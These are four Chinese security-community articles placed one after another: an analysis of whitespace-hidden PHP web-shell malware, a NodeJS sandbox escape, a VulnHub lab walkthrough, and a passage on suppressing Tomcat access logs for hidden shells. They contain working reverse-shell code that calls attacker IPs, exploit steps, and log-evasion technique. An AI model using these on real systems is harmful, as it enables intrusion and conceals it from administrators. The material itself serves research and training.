很明显，这些被隐藏的代码肯定是恶意的，但乍看起来，根本搞不清楚该恶意软件的代码都放到了这里，还是这里只是其中的部分代码，而其他部分则位于文件中的其他地方。但是，有一点是不难看出的，即它试图用`file_get_contents(basename($_SERVER[‘PHP_SELF’])))`来读取自身内容并进行某些处理。然而，迅速检查该文件后，并没有发现任何其他可以转换为有效的PHP代码的空隙。
## 分析可见的恶意代码
为了了解恶意代码到底做了什么，我们对所有的语句都进行了逐条分析。
其中，第一个子句的作用是，以分号为分隔符，将文件的内容用分割成若干部分，并将最后一部分分配给`$cache`变量。通俗的说，这段代码的作用是处理文件中位于最后一个分号之后的内容。
事实上，文件中最后一个分号也是许可协议的最后一个字符：“But first, please read
`<http://www.gnu.org/philosophy/why-not-lgpl.html>;`”。
在原始的许可协议中，最后一个字符是句号，说明攻击者对这个条款的文本做了手脚。
在这最后一个分号之后，并没有什么清晰可见的内容。为了理解文件的末尾部分是如何处理的，我们需要分析被恶意修改的条款后面的内容。
## 空白符解码器
for($i=0;$i<strlen($cache);$i++){
$out.=chr(bindec(str_replace(array(chr(9),chr(32)),array('1','0'),substr($cache,$i,8))));
$i+= 7;
}
在这里，我们可以看到，代码每次以8个字符为单位读取文件的其余部分(`substr($cache,$i,8)`)，并将制表符（9）和空格符（32）转换为1和0组成的表示形式。然后，它会将得到的二进制字符串转换为十进制数（bindec），再使用`chr()`函数将十进制数转换为字符。这样，每次一个八位字节，就能逐渐将文件中其余的空格符逐个转换为可见的字符串。
此时，这个字符串既看不出具体含义，也无法执行。为了完全解码并执行payload，需要使用以下函数组合：“`base64_decode(str_rot13(gzdecode(…`”。
作为执行payload的备份方式，该恶意软件还试图将解码后的内容保存到一个名为“
”（该文件名只是一个空格，使其在文件列表中不容易被察觉）的文件中，并使用`include
$cachepart;`动态包含该文件。之后，这个文件会被删除，以逃避检测。
根据相关报告称，由于某些原因，在受感染的站点上仍然可以找到其中一些以空白符命名的文件。
## 揪出被隐藏的Payload
现在我们已经知道，这个恶意软件正在寻找最后一个分号后的所有制表符和空格符，下面，让我们找到并解码这个隐藏的payload。
结果发现，在`license.php`文件的最后一行之后，竟然还有近300Kb的隐形制表符和空格符，而可见的许可证文本却只有30Kb。
如果您查看最后一行的十六进制代码，或者在文本编辑器中选择最后一个“;”之后的内容，就可以看到这些隐形的字符。
`license.php`最后一行的十六进制形式
通过文本编辑器查看隐形的内容
如您所见，上图中的内容类似于摩斯码，与去年11月描述的JavaScript[恶意软件](https://blog.sucuri.net/2020/11/css-js-steganography-in-fake-flash-player-update-malware.html
"恶意软件")相似，它也采取了混淆处理，但这个样本并没有使用换行符（0x0A）。这意味着隐形的内容不会在文件底部产生大量可疑的空行。
当我们使用恶意软件的算法对空行进行解码时，我们会得到一个大小为74Kb的web
shell文件，该文件用于存放黑客对服务器上的文件和数据库进行各种处理所需的工具，例如收集敏感信息、感染文件，并进行蛮力攻击。此外，它还可以作为服务器控制台或anonymizer来隐藏攻击者的真实IP地址。
对空白符解码后得到的Web shell
## 算法的来源
正如我们在调查中经常发现的那样，恶意软件中发现的许多技巧和算法并不是黑客发明的。许多代码都是早就存在于互联网上面了，例如，许多代码都是直接从StackOverflow等网站复制过来的。
通过搜索引擎查找该空白符解码器的代码片段，我们在流行的俄语IT社区网站Habr.ru上发现了的一篇发表于2019年的相关[文章](https://m.habr.com/en/post/458710/
"文章")。该文章的作者分享了他们的PHPwhitespace混淆算法的概念验证代码，其灵感来自于2011年发表的一篇关于混淆处理方面的文章，该文章讨论了仅使用制表符和空格符进行编码的思路。
实际上，该恶意软件的作者只是简单地从那篇文章中提取了空白符解码器的相关代码，并且未作任何修改，然后，又添加了一些代码，来实现额外的混淆处理，并执行解码后的payload。
## 恶意Uploader
在被入侵的服务器上只找到一种类型的后门，是一种非常罕见的事情。通常情况下，被入侵的服务器上面会存在多种类型的后门程序，分别用于完成不同的任务。
例如，由于`license.php`文件不容易引起人们的怀疑，所以，即使其他恶意软件被发现和删除了，仍然可以通过这种文件来访问被入侵的网站。
攻击者最初植入服务器以感染网站的文件或代码则是另一种类型的后门。这些后门通常在受感染的环境中以小文件的形式出现，攻击者可以通过它们来执行任意代码或创建特定文件。它们甚至根本无需进行隐身处理或复杂的混淆处理——黑客通常会在使用后立即删除它们以掩盖自己的踪迹。
在这个特殊的案例中，我们发现了恶意Uploader，它可以创建虚假的`license.php`文件，并将恶意软件注入`.htaccess`和`index.php`文件中。
<https://m.habr.com/en/post/458710/>
创建虚假的`license.php`文件的恶意Uploader
## 小结
虽然使恶意内容肉眼无法分辨似乎是一个不错的主意，但该恶意软件中使用的基于空白符的混淆技术，在隐身方面做的并不是非常理想。因为它包含了一个易于检测的PHP部分——如果将其删除，将导致不可见的payload无法正常使用。这种方法的另一个缺点是会令文件尺寸变得过于臃肿。例如，这里的恶意软件令文件大小增加了10倍，这很容易引起人们的怀疑。
黑客通常会借助于混淆技术来隐藏代码和恶意行为。就目前已知的混淆类型来说，已经多达成百上千种之多，但是，攻击者仍在努力寻找绕过安全检测的新方法。
对于网站管理员来说，好消息是您不必对恶意文件进行解码或了解如何查找和删除这种类型的恶意软件。一个简单的完整性控制解决方案就足以检测出可疑的文件修改行为。
每当您发现文件遭到了修改，但是不确定是否为恶意修改时，最安全的方法是将文件替换为已知的干净版本——毕竟您早已经做好了备份，对吧？ | 社区文章 |
# NodeJS沙箱逃逸分析
|
##### 译文声明
本文是翻译文章，文章原作者 netspi，文章来源：blog.netspi.com
原文地址：<https://blog.netspi.com/escape-nodejs-sandboxes/>
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
在这篇文章中，我们将探索解释器的内部，从而找到逃逸NodeJS沙箱的方法。
NodeJS是一个基于Chrome V8 JavaScript引擎构建的JavaScript
Runtime，允许开发人员对应用程序的前端和后端，使用相同的编程语言和代码库。NodeJS最初于2009年发布，现在被Netflix、Microsoft和IBM等知名科技公司使用。如今，NodeJS的下载量已经超过250000000次，并且还在不断增长中。考虑到NodeJS的受欢迎程度，如今它已经成为Web应用程序测试过程中要探索的一个有趣目标。
在NodeJS之前，需要使用不同的服务器端语言，例如PHP或Perl，这些语言都有其自身的安全问题。然而，尽管NodeJS和JavaScript进行了改进，但由于其中的Eval()功能，使二者仍然存在命令注入方面的风险。
Eval函数允许应用程序在操作系统级别执行命令。当操作系统和应用层序之间不存在功能，或者将要进行的工作放到底层会变得更加容易时，开发人员会选择eval。使用该功能，可以实现不同级别的沙箱，从而防止攻击者获得服务器的底层运行权限。
接下来，我们将深入了解NodeJS，并了解如何在允许执行任意JavaScript的应用程序中实现NodeJS沙箱逃逸。
## 反向Shell
作为一名渗透测试人员，我们在某个系统上应该花费足够的时间，并且应该首先想到尝试反向Shell。识别反向连接的方法很简单，所以真正有趣的内容就开始了。在Wiremask的帮助下，我们可以在NodeJS中使用反向Shell：
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "192.168.1.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
如果我们足够幸运，沙箱的防护机制不强，或者沙箱根本就不存在，那么将会获得一个反向Shell，可以继续下面的步骤。但实际上，我们并不会总这么幸运，因此我们要逐步了解如何在当前环境中执行不需要的反向Shell。这是一种常见的沙箱技术，可以作为防范攻击者的第一道大门。如果无法导入NodeJS标准库，那么就无法轻松执行例如文件读写、建立网络连接这样的操作。现在，真正的工作开始了。
## 侦查阶段
任何渗透测试方法的第一步都是侦查。我们认为，要进行的目标是任意命令执行，但由于存在沙箱，所以必须从头突破。第一步，就是要确定执行过程中Payload的访问权限。最直接的方法就是触发栈跟踪，并查看输出。不幸的是，并非所有Web应用程序都会对栈进行跟踪并支持查看标准错误结果。我们可以使用Payload生成，并打印标准输出的栈跟踪。我们参考了StackOverflow上的一篇帖子（
<https://stackoverflow.com/questions/591857/how-can-i-get-a-javascript-stack-trace-when-i-throw-an-exception#635852>
），发现代码实际上非常简单，特别是对于更新的语言功能。如果无法实现直接的控制台访问，我们就必须使用Print语句，或者返回实际的跟踪结果，以下代码可以完成这一工作：
function stackTrace() {
var err = new Error();
print(err.stack);
}
运行这一Payload后，我们将获得栈的跟踪：
Error
at stackTrace (lodash.templateSources[3354]:49:19)
at eval (lodash.templateSources[3354]:52:11)
at Object.eval (lodash.templateSources[3354]:65:3)
at evalmachine.:38:49
at Array.map ()
at resolveLodashTemplates (evalmachine.:25:25)
at evalmachine.:59:3
at ContextifyScript.Script.runInContext (vm.js:59:29)
at Object.runInContext (vm.js:120:6)
at /var/www/ClientServer/services/Router/sandbox.js:95:29
...
现在我们已经知道，我们在sandbox.js中，使用eval在lodash模板中运行。接下来，尝试找出当前代码的上下文。
我们进行了尝试，但发现并不能简单地打印出对象，必须要使用JSON.stringify()：
> print(JSON.stringify(this))
< TypeError: Converting circular structure to JSON
在其中，还有一些循环引用，所以我们需要一个可以识别这些引用并进行截断的脚本。方便的是，我们可以将JSON.prune嵌入到Payload中：
> print(JSON.prune(this))
< {
"console": {},
"global": "-pruned-",
"process": {
"title": "/usr/local/nvm/versions/node/v8.9.0/bin/node",
"version": "v8.9.0",
"moduleLoadList": [ ... ],
...
}
原始的JSON.prune不支持枚举可用的函数。我们可以修改“函数”的结果，以输出函数的名称，从而更好地映射可以利用的函数。运行这一Payload后，将会产生大量输出，其中的一些内容引起了我们的关注。首先，this.process.env包含当前进程的环境变量，其中可能包含API密钥或凭据。其次，this.process.mainModule包含当前运行模块的配置，我们可以通过它找到其他一些应用程序特定的项目，例如配置文件的位置。最后，我们看到了this.process.moduleLoadList，它是主进程加载的所有NodeJS模块的列表，也是我们通向成功的秘诀。
## NodeJS为我们提供了成功的工具
我们将目标定位到主进程的moduleLoadList上。如果我们查看原始的反向Shell代码，可以找到需要的两个模块：net和child_process，这两个模块应该已经加载。在这里，我们研究如何访问由该进程加载的模块。如果没有require，我们就必须使用NodeJS自身使用的内部库和API。通过阅读Node的NodeJS文档，我们找到了关于dlopen()的一些信息。尽管目前已经对这一方法有足够的研究，我们还是决定跳过这个选项，因为有一个更加简单的方法，也就是process.binding()。继续分析NodeJS源代码本身，将会看到fs.js，也就是用于文件输入输出的NodeJS库。在这里，我们看到它正在使用process.binding(‘fs’)。关于该函数的工作原理，相关的文档并不多，但我们已经知道将会返回fs模块。使用JSON.prune进行修改，并打印出函数名称，我们就能够继续探索其功能：
> var fs = this.process.binding('fs');
> print(JSON.prune(fs));
< {
"access": "func access()",
"close": "func close()",
"open": "func open()",
"read": "func read()",
...
"rmdir": "func rmdir()",
"mkdir": "func mkdir()",
...
}
在继续研究之后，我们了解到这些都是NodeJS使用的C++绑定（C++
Binding）。并且，如果使用适当的C/C++函数签名，我们将有权执行读取或写入。如果有了这个，就可以自由探索本地文件系统，并通过将公钥写入到~/.ssh/authorized_keys或读取~/.ssh/id_rsa的方式，来获取SSH访问权限。但是，通常的做法都是将虚拟机进行隔离，并使用流量代理避免直连。我们希望启动反向Shell连接，从而绕过这一网络限制。为此，我们要尝试复制child_process和net包。
## 攻破内部
在这时，我们的最佳选择是研究NodeJS存储库中C++绑定的功能。这一过程主要是读取与要执行的函数相关的JS库（例如net.js），然后跟踪这一功能，直至C++绑定，从而完成全部过程。我们可以在没有require的情况下选择重写net.js，但实际上还有一个更加简单的方法。在Github上，有一个名为CapcitorSet的项目，该项目能够重写执行操作系统级命令的功能，而不需要spawn_sync。针对这个项目，我们要做的两处更改就是，将process.binding()更改为this.process.binding()，以及将console.log()更改为print()或将其完全删除。接下来，就要研究如何才能够启动反向Shell。这是一个典型的后漏洞利用侦查（Post-exploitation
Recon），我们需要寻找netcat、perl、python等内容，从而来运行Payload。我们找到了highon.coffee的反向Shell引用，它使用了Python以及相应的Payload：
var resp = spawnSync('python',
['-c',
'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("127.0.0.1",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
]
);
print(resp.stdout);
print(resp.stderr);
需要确保的是，更新其中的“127.0.0.1”和443值，分别指向netcat正在侦听的可通过网络访问的IP地址和端口。当我们运行Payload时，即可看到反向Shell成功运行：
root@netspi$ nc -nvlp 443
Listening on [0.0.0.0] (family 0, port 443)
Connection from [192.168.1.1] port 443 [tcp/*] accepted (family 2, sport 48438)
sh: no job control in this shell
sh-4.2$ whoami
whoami
user
sh-4.2$ ifconfig
ifconfig
ens5: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 9001
inet 192.168.1.1 netmask 255.255.240.0 broadcast 192.168.1.255
ether de:ad:be:ee:ef:00 txqueuelen 1000 (Ethernet)
RX packets 4344691 bytes 1198637148 (1.1 GiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4377151 bytes 1646033264 (1.5 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10
loop txqueuelen 1000 (Local Loopback)
RX packets 126582565 bytes 25595751878 (23.8 GiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 126582565 bytes 25595751878 (23.8 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
## 总结
从任意代码执行到反向Shell，我们最终实现了NodeJS中沙箱的逃逸，其实这一实现只是时间问题。在网络出现的后期，一些后端语言（例如PHP）中就存在此类漏洞，并且至今仍然困扰着我们。在这里，我们得到了一个经验教训，就是永远都不要信任用户的输入，永远都不要执行用户提供的代码。此外，对于测试者来说，如果能够对解释器内部的工作原理进行分析，往往能够更迅速地找到有效方法来突破沙箱。最后，经常进行系统的对抗，往往会产生积极的结果。 | 社区文章 |
# 靶机地址：
<https://www.vulnhub.com/entry/boredhackerblog-social-network,454/>
# 0x0内容简介：
这是一个中等难度的靶机，比较的综合，因为其内部还有几个docker虚拟机，从而可以对内网部分有初步的涉及，比如内网信息收集、内网穿透、简单的横向移动等等
建议使用VirtualBox打开靶机，如果使用vm打开，会有无法预料的问题，其中就包括无法获取ip，内部docker没有成功启动,这样就无法扫描到对应的端口等等，所以，我会先提供靶机登录密码等，大家如果要自己打靶，那么建议启动靶机后，自己再进入其中，然后看ip和docker是否正常，保证环境没有问题之后，之后的过程会更加流畅。
##### 前期系统搭建
我使用的vm16打开的靶机，但是在我第一次打开的时候是没有ip的，所以建议大家用virtualbox，我也会将靶场和工具打包分享到云盘。
靶机IP：192.168.63.134/24
docker_ip:172.17.0.1
普通用户密码：john/1337hack
新建root用户：deel/123456
靶场百度云连接，可以用vm直接打开
链接：https://pan.baidu.com/s/1SfpcfI_7ZYDAaW4o7FOjLQ?pwd=7bsv
提取码：7bsv
这里提前给出了账号密码，主要是提供给想要练习的师傅做环境搭建验证的，新建特权用户是我分享的靶机才有，因为docker命令需要root权限才能使用，所以师傅在检验环境是否启动成功的时候直接登录deel账号即可，然后用：ifconfig命令查看eth0网卡的ip是否正确，然后用：docker ps 查看docker镜像是否启动成功，以下是截图。
# 0x1主机发现
##### 二层主机发现
#####
使用工具：arp-scan # https://github.com/royhills/arp-scan
命令：arp-scan -l
该工具目前还在更新，官方最新版本为1.10.0,kali自带的版本22年的是1.9版本，相差不大；二层主机发现可以非常快速的发现同网段存活主机，如果是简单使用，直接加上 -l 参数即可
官方使用文档(英文):http://www.royhills.co.uk/wiki/index.php/Main_Page
通过该工具，我们发现同网段有4台其他主机，这里由于我知道另外三台主机是干什么的，所以排除法可以直接定位靶机ip：192.168.63.134。
# 0x2端口扫描
##### 全端口扫描
#####
工具：nmap,masscan # https://nmap.org/ https://github.com/robertdavidgraham/masscan
命令：masscan -p1-65535 192.168.63.134 --rate=10000
nmap -p- 192.168.63.134
这里使用了两个工具，主要是相对比两个工具的特性，同时表现出两个工具配合的效果；masscan工具有点就是速度非常快，号称可以5min扫描整个互联网，发包速度非常快，masscan不建立完整的TCP连接，收到SYN/ACK之后，发送RST结束连接,选项--banners除外。目前github的版本为1.3.2。官方使用文档就在github中。
使用示范：masscan 10.0.0.0/16 -p22-25 -oX test.xml --rate 10000
目标是可以是单个，可以是一个段
端口由 -p 参数指定 ：-p80 -p80,443 -p1-65535
输出格式：-oX -> XML格式; -oG -> grepable格式; -oJ -> json格式
扫描速度：默认100，比较慢，根据自己的带宽和电脑性能设置，一般 --rate=10000
nmap 如果是当前这种主机很少的情况下，扫描也很快，大概的测试一下4台主机的c段，全端口扫描下，两款工具都在十秒左右，但是在主机比较多的时候，nmap和masscan的差异就比较大了，所以如果对时间比较紧急的情况，可以考虑先用masscan快扫出主机端口信息，再用nmap针对性的对开方的端口进行指纹识别。
这一步我们通过两款工具，都扫描出靶机开放了22端口和5000端口。
# 0x3服务发现
##### 端口服务探测
#####
命令：nmap -p22,5000 -sV 192.168.63.134
通过前面的端口扫描，我们发现靶机开放了 22和5000 端口，下一步就需要对端口进行服务版本方面的扫描，以获得更加详细的信息，通过nmap的 -p 参数指定端口，-sV 探测服务/版本信息，最终扫描出两个端口的服务和版本信息，其中我们发现5000端口开启了一个http服务，并且后端语言是python2.7，这些信息告诉我们或许可以通过web方面的漏洞获取权限，同时在之后的如果要命令执行或者是上传一些和后端语言相关的文件时，那需要选择用python2的相关代码。同时还有：werkzeug 这个信息，搜索过后发现这是一个Python Web框架的底层库，例如现在非常流行的Flask Web框架，对于这个靶场并没有多大的作用，不过在实际渗透过程中发现了这样的信息，说不定会有价值。
# 0x4路径爬取
既然是web网站，那肯定要浏览器访问看看，这个靶场开放的web页面非常的简单，只有一个类似于评论的输入框，这种地方可以考虑试一下xss，或者是sql注入，经过简单的测试，并没有成功，然后考虑继续做其他的信息收集，之后如果实在没有突破点，再来尝试此处。
##### dirsearch
目录扫描：
工具：dirsearch # https://github.com/maurosoria/dirsearch
命令：dirsearch -e "*" -u http://192.168.63.134:5000
这款工具在github上具有9.1k的star,其扫描效果也是非常出色，功能丰富，结果显示也感到非常舒适
常用选项：
-u http://192.168.63.1 :指定目标
-l url.txt :指定目标列表
-e:指定扩展名列表，用逗号隔开，可以理解成指定要扫描的文件类型，比如：-e "php,asp",如果全指定：-e "*"，这将决定字典的选择
-w:指定自己的字典路径
-t:线程，默认是25
-r:递归目录(跑出目录后，继续跑目录下面的目录)
该工具还有很多的选项，详情可以 -h 逐个查看
由于近期在看一些开源工具的源代码学习，dirsearch的源代码也是大概的看了一遍，虽然有很多没有看懂，不过还是对我以后写和使用工具有了启发，这里分享给大家：
1.关于输入目标没有带协议字段如何解决？
这个主要的现象就是：直接输入目标域名或者ip，没有http://或者https://的协议字段，在不带端口的情况下，两种协议对应的默认端口都是不同的，如果单纯之际两个协议都加，都访问，显然不是很优雅，我在观摩的过程中找到了dirsearch的解决方法：在utils/schemedet.py文件中，通过ssl和socket库，一起实现一个ssl通信，当链接成功的时候，说明服务端是https协议，就请求成功，然后赋值协议字段为：https,如果是http就会报错，然后用except抓取到错误，然后赋值协议字段为http
源代码：
import ssl
import socket
from lib.core.settings import SOCKET_TIMEOUT
def detect_scheme(host, port):
if not port:
raise ValueError
s = socket.socket()
s.settimeout(SOCKET_TIMEOUT)
conn = ssl.SSLContext().wrap_socket(s)
try:
conn.connect((host, port))
conn.close()
return "https"
except Exception:
return "http"
路径扫描在测试中感觉时候会有出乎意料的效果，运气好的话扫描出源代码文件，找到后台路径，找到一些有漏洞的功能页面等等。此次打靶过程中，扫描到了一个关键目录：/admin 访问发现是一个管理页面，通过提示可以看到这是一个可以通过exec()函数执行python代码的页面，我们也将通过这个页面获得靶机的权限。
# 0x5代码注入
工具：nc # 下载地址：https://eternallybored.org/misc/netcat
命令：nc -lvvp 2333
nc全名叫netcat，也叫他瑞士军刀，非常强大，linux自带，但是linux的新一点的版本 -e 参数好像用不了，出于对安全的考虑。
常用参数：发起连接：nc ip port
监听端口：nc -lvvp port
-l： 开启监听
-p：指定端口
-e：程序重定向，这个参数对于反弹shell非常有用
-v：显示执行命令过程，简单点说就是会显示更加详细的信息，建议加上
当访问靶机web的/admin页面后，发现了一个可以执行python代码的功能点，这里就存在一个python任意代码执行漏洞，我们接下来要做的就是通过执行python代码，然后反弹一个shell到我们的kali上面，这样就初步拿到了一个权限，然后通过这个shell做下一步的操作。
通过网络上找到python反弹shell代码，需要修改IP和端口为我们kali主机监听的端口，提前在kali上开启端口监听：nc -lvvp 2333,kali的ip为：192.168.63.246
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.63.246",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
这里放上一个收集了很多命令执行代码的网站，同时这个网站还有其他的丰富的资源：https://forum.ywhack.com/shell.php
# 0x6Docker容器的判断
拿到shell后，发现自己是root权限，如果是真的，那肯定非常高兴，都不用提权了，但是对于这个靶场，并不会这么简单。docker作为一种非常强大的技术，渗透过程中也是经常遇到，这个靶场就使用docker，我们此时获得的权限是一个docker虚拟机的权限，这里主要说明如何判断自己拿到的是不是一个docker：
1.根目录下是否存在：.dockerenv文件：ls /.dockerenv文件 90%是docker
2.cat /proc/1/cgroup文件，如果这个文件里面有***/docker/一串字符,有这样的内容时，那么百分之百时docker文件
docker主机：cat /proc/1/cgroup 可以看到有docker关键字
linux物理机：cat /proc/1/cgroup 则没有docker关键字
kali
Ubuntu
centos
# 0x7内网穿透
工具：venom # https://github.com/Dliv3/Venom
命令：服务端(kali)： ./admin_linux_x64 -lport 9999
当客服端连接上来后，服务端需要执行的命令
show # 显示当前连接上来的节点
goto 1 # 进入靶机的节点
socks 1080 # 启动1080端口的socket代理，后面kali设置代理的时候，就设置：127.0.0.1 1080
客服端(靶机)：./agent_linux_x64 -rhost 192.168.63.246(kali-ip) -rport 9999(服务端监听的端口)
使用：
使用kali的proxychains工具 # https://github.com/haad/proxychains
vim /etc/proxychains4.conf
最下方修改：socks5 127.0.0.1 1080
使用：在要使用的工具前面加上：proxychains即可：如：proxychains nmap -pn -sT 172.17.0.1
当我们发现是docker的时候，首先考虑的应该是想办法docker逃逸，但是这个靶场想要考察的内容估计不是这个方向，所以对docker网段做了一个初步信息收集发现，还存在其他docker虚拟机，于是做内网穿透，对docker所在的网段的其他主机进行更加细致的扫描。venom客户端上传到靶机的这一步，我通过kali的python3 -m http.server 80 开启了一个临时的web服务，然后在dokcer的shell中通过wget http://192.168.63.246/agent_linux_x64 将客户端工具下载到靶机docker中，并赋权运行。
开启web服务
启动服务端
靶机下载客户端并启动连接服务端
客户端连接上后，进入客服端节点，并启动代理
最后修改proxychains4.conf配置文件
# 0x8内网信息收集+漏洞利用
docker内网的信息收集主要通过proxychains代理软件和nmap工具来扫描内部网络
命令：proxychains nmap -pn -sT 172.17.0.0/24 # 不能用ping，原因是代理是socks5,是传输层的，而ping的icmp协议是网络层的，ping的数据无法通过代理访问到目标网络，所以这里只是用tcp探测来扫描主机。
proxychains nmap -pn -p- 172.17.0.2
通过代理进行扫描，发现 172，17，0.2的9200端口存在http服务，并且知道这个web服务使用了elasticsearch，刚开始看到这个扫描结果的时候只是感觉这个是一个web服务，对后面的elasticsearch完全没有感觉，通过搜索引擎发现这是一个数据分析和搜索的引擎，并且还存在一个可以getshell的漏洞，通过这些信息，可以先把关注点放在这个elasticsearch上面，或许可以通过这个直接获得权限
在kali中输入：searchsploit elasticsearch 看看是否有现成得exp，如果没有，就考虑去github或者是其他平台寻找一下。这里我们成功搜索到了exp，并把他复制出来
cp /usr/share/exploitdb/exploits/linux/remote/36337
执行这个脚本
proxychains 36337.py 172.17.0.2
搜索到漏洞利用代码
开始利用漏洞
# 0x9密码破解
当拿到新的一台docker虚拟机后，便开始查找时候有重要的敏感文件做进一步的信息收集，最终在/passwords文件中发现了一串特殊的字符串，类似几个账号和密码hash值，通过在线网站，对每个hash进行破解，最终只有：john/1337hack 这个账号密码有作用，并用这个账号成功登录了物理靶机的ssh服务。
常用的破解md5加密的网站
https://www.cmd5.com/
网站破解md5
通过破解出来的账号密码连接靶机的22端口
# 0xA本地提权
接下里就是linux提权的操作，通过: uname -a 可以获得当前靶机的版本为 linux 3.13 ，通过 searchsploit linux 3.13 搜索kali本机是否有提权相关的exp，结果是成功找到了可以使用的，c语言源代码
复制出来
cp /usr/share/exploitdb/exploits/linux/local/37292.c 37292.c
对源代码进行查看，发现内部调用了gcc对一个c源码文件进行了编译，但是当前靶机内没有gcc这个工具，并且当前的环境不能够安装gcc，所以最后还是采用了修改源代码的方法，将调用gcc编译的部分源代码进行删除，然后我们在kali机上手动编译exp源代码和源代码中调用gcc编译的那个文件，最后我们会获得两个文件，一个就是exp提权文件，另外一个是exp运行过程中需要使用的一个编译好的文件，通过kali开启web服务，将两个文件都下载到靶机中，运行，提权成功。
搜索到提权exp
发现靶机没有gcc
阅读提权源代码，发现需要调用gcc
删除调用gcc的部分源代码后进行编译
找到源代码中调用gcc编译的那个源代码文件的编译好的文件
将exp和ofs-lib.so一起上传到靶机/tmp目录下
最后执行exp获得root权限
# 总结
本次打靶过程：扫描发现5000端口 -> 服务探测发现web服务 -> 网站路径扫描发现管理页面 -> 利用代码执行获取shell -> 判断docker容器 -> 做内网穿透开始探测内网 -> 发现同网段docker容器漏洞并利用获取shell -> 信息收集找到普通用户密码 -> 在线网站密码破解登录靶机ssh服务 -> 最后利用提权exp成功获得root权限 | 社区文章 |
作者：[n1nty@360 A-Team](http://mp.weixin.qq.com/s/7b3Fyu_K6ZRgKlp6RkdYoA
"n1nty@360 A-Team")
上一篇公众号文章写了一下如何在 Tomcat 环境下隐藏任意 Jsp 文件，可用于隐藏 Shell。文件虽然隐藏了，但是在访问 Shell
的时候依然会留下访问日志，这一篇文章来就简单说一下隐藏访问日志这件事。
上次我发在 ThreatHunter 社区的 hideshell.jsp 本身是自带日志隐藏功能的。你在访问 hideshell.jsp 的时候，如果
Tomcat 没有经过特殊的日志配置，是不会记录任何访问日志的。下面简单说一下是如何实现的。
需要知道的背景知识（简述）：
#### Container - 容器组件
Tomcat 中有 4 类容器组件，从上至下依次是：
1. Engine，实现类为 org.apache.catalina.core.StandardEngine
2. Host，实现类为 org.apache.catalina.core.StandardHost
3. Context，实现类为 org.apache.catalina.core.StandardContext
4. Wrapper，实现类为 org.apache.catalina.core.StandardWrapper
“从上至下” 的意思是，它们之间是存在父子关系的。
Engine：最顶层容器组件，其下可以包含多个 Host。
Host：一个 Host 代表一个虚拟主机，其下可以包含多个 Context。
Context：一个 Context 代表一个 Web 应用，其下可以包含多个 Wrapper。
Wrapper：一个 Wrapper 代表一个 Servlet。
Container 接口中定义了 logAccess 方法，以要求组件的实现类提供日志记录的功能。
以上四个组件的实现类都继承自 org.apache.catalina.core.ContainerBase 类，此类实现了 Container
接口。也就是说StandardEngine/StandardHost/StanardContext/StandardWrapper
这四种组件都有日志记录的功能。
org.apache.catalina.core.ContainerBase 对 logAccess 方法的实现如下：
public void logAccess(Request request, Response response, long time,
boolean useDefault) {
boolean logged = false;
if (getAccessLog() != null) {
getAccessLog().log(request, response, time);
logged = true;
}
if (getParent() != null) {
// No need to use default logger once request/response has been logged
// once
getParent().logAccess(request, response, time, (useDefault && !logged));
}
}
从实现可以看出，日志记录采用了类似冒泡的机制，当前组件记录完日志后，会触发上级组件的日志记录功能，一直到顶层。 如果从底层的 Wrapper
组件开始记录日志，则日志的记录过程将是 Wrapper.logAccess --> Context.logAccess --> Host.logAccess
--> Engine.logAccess。
当然每一层组件都会检查自己是否配置了日志记录器，如果没有配置，则跳过本层的日志记录，直接转向上级。
这里贴一段 Tomcat conf/server.xml 中的默认配置：
<Engine name="Catalina" defaultHost="localhost">
....
<Host name="localhost" appBase="webapps"
unpackWARs="true" autoDeploy="true">
<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
prefix="localhost_access_log" suffix=".txt"
pattern="%h %l %u %t "%r" %s %b" />
</Host>
</Engine>
可以看到在 Host 标签下配置了一个 className 为
org.apache.catalina.valves.AbstractAccessLogValve 的 Vavle。这说明只有 Host 配置了日志记录器，
Context 与 Engine 都没有配置。所以在运行的时候，只有 Host 组件会记录日志，日志会以 localhost_access_log
为文件名前缀记录在 tomcat 的 logs 目录下。
上面说到了日志记录器，它在 Tomcat 做为一个 Valve 被实现，以便被插入到 Container 的 pipeline 中，以此来与
Container 关联起来。
实现类为： **org.apache.catalina.valves.AccessLogValve**
它继承自 **org.apache.catalina.valves.AbstractAccessLogValve** 同时也继承了
AbstractAccessLogValve 定义的 log 方法。此方法是真正用来做日志记录的方法。 定义如下：
public void log(Request request, Response response, long time) {
if (!getState().isAvailable() || !getEnabled() || logElements == null
|| condition != null
&& null != request.getRequest().getAttribute(condition)
|| conditionIf != null
&& null == request.getRequest().getAttribute(conditionIf)) {
return;
}
/**
* XXX This is a bit silly, but we want to have start and stop time and
* duration consistent. It would be better to keep start and stop
* simply in the request and/or response object and remove time
* (duration) from the interface.
*/
long start = request.getCoyoteRequest().getStartTime();
Date date = getDate(start + time);
CharArrayWriter result = charArrayWriters.pop();
if (result == null) {
result = new CharArrayWriter(128);
}
for (int i = 0; i < logElements.length; i++) {
logElements[i].addElement(result, date, request, response, time);
}
log(result);
if (result.size() <= maxLogMessageBufferSize) {
result.reset();
charArrayWriters.push(result);
}
}
实现无痕的秘密就在第一行的那个 if ，满足它后方法会直接退出而不做日志记录：
if (!getState().isAvailable() || !getEnabled() || logElements == null
|| condition != null
&& null != request.getRequest().getAttribute(condition)
|| conditionIf != null
&& null == request.getRequest().getAttribute(conditionIf)) {
return;
}
